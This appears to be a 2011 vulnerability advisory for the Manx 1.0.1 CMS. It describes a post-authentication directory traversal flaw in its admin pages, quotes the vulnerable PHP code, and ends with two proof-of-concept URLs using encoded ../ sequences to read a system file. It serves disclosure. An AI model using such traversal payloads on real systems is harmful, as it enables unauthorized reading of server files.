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Manx 1.0.1 Directory Traversal

Manx 1.0.1 Directory Traversal
Posted Nov 29, 2011
Authored by LiquidWorm | Site zeroscience.mk

Manx version 1.0.1 suffers from a directory traversal vulnerability in simplexml_load_file().

tags | exploit
MD5 | 63d6ce08cc9299879ebc3da4531ee245

Manx 1.0.1 Directory Traversal

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Manx cms.xml 1.0.1 (simplexml_load_file()) Directory Traversal Vulnerability


Vendor: Paul Jova
Product web page: http://manx.jovascript.com
Affected version: 1.0.1

Summary: Manx is a Content Management System that uses xml
text files to store the page contents, instead of a mysql
database.

Desc: Input passed via the 'fileName' parameter thru the
simplexml_load_file() function is not properly verified
in '/admin/admin_blocks.php' and '/admin/admin_pages.php'
(post-auth) before being used to load files. This can be
exploited to disclose the contents of arbitrary files via
directory traversal attacks.


==============================================================
/admin/admin_blocks.php:
--------------------------------------------------------------

20: if ( isset($_REQUEST['fileName']) && ($_REQUEST['fileName'] !== '') && strstr($_REQUEST['fileName'], 'Dir') == false )
21: {
22: $fileName = $_REQUEST['fileName'];
23: }
24: else $fileName = $new_file;

...
...

193: if ( ($fileName != '') && (file_exists($pathAdminToBlocks . $fileName)) )
194: {
195: $simple_element = simplexml_load_file($pathAdminToBlocks . $fileName);

==============================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
MySQL 5.5.16
PHP 5.3.8


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2011-5060
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5060.php



27.11.2011


PoC:


http://localhost/admin/admin_blocks.php?editorChoice=none&fileName=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
http://localhost/admin/admin_pages.php?editorChoice=none&fileName=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
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